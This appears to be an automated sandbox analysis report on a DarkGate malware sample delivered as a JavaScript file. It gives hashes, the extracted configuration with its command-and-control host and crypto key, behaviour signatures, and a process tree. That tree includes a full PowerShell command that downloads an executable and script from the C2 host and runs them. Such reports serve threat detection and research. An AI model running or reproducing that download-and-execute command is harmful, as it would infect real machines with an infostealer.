Analysis

  • max time kernel
    91s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-10-2023 02:18

General

  • Target

    21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js

  • Size

    135KB

  • MD5

    a509ba7ed20b627448a220c2924d3a07

  • SHA1

    4b2cc002217a95e42fa0d7b49ef5688ca186e74f

  • SHA256

    21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c

  • SHA512

    9bfb1c14168d4ed73a6bd01eee819939676c412c0e3729d455b3f63df1eefa7607ddc5074ac69123b17660d2264343dd8afed089f123b6cf41c742bd681ec544

  • SSDEEP

    1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0m:0T9U7hgaX6eerjqlI2IO6MzqfJAl

Score
10/10

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://sftp.bitepieces.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    443

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    ibUsJJzrDXJckq

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    7000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    ADS5

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:216
      • C:\temp\AutoIt3.exe
        "C:\temp\AutoIt3.exe" rzskfhle.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4556

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b3fqm1u3.k0k.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\rzskfhle.au3

    Filesize

    491KB

    MD5

    57372288639ec408a9890ffe00116d10

    SHA1

    fa10fa3001c32f0baf65ed0a65d71178f195194a

    SHA256

    12c7dd3161640f5af1537967c94898fb93d99fa94be14cf747ea1ff46b3ca7b0

    SHA512

    dce848abde4a2ff48738f1f793835edf9672a00dff917010f3f54a24d9ca86efcb890ff14c2398f96fd2ca178821cd829a6f1977d2a8263e9208f7ad4dc53563

  • memory/216-12-0x000001EBDB610000-0x000001EBDB620000-memory.dmp

    Filesize

    64KB

  • memory/216-13-0x000001EBDB610000-0x000001EBDB620000-memory.dmp

    Filesize

    64KB

  • memory/216-11-0x000001EBDB610000-0x000001EBDB620000-memory.dmp

    Filesize

    64KB

  • memory/216-10-0x00007FF91E180000-0x00007FF91EC41000-memory.dmp

    Filesize

    10.8MB

  • memory/216-27-0x00007FF91E180000-0x00007FF91EC41000-memory.dmp

    Filesize

    10.8MB

  • memory/216-0-0x000001EBDB7C0000-0x000001EBDB7E2000-memory.dmp

    Filesize

    136KB

  • memory/4556-30-0x0000000001690000-0x0000000001A90000-memory.dmp

    Filesize

    4.0MB

  • memory/4556-31-0x00000000049B0000-0x0000000004CDA000-memory.dmp

    Filesize

    3.2MB

  • memory/4556-32-0x00000000049B0000-0x0000000004CDA000-memory.dmp

    Filesize

    3.2MB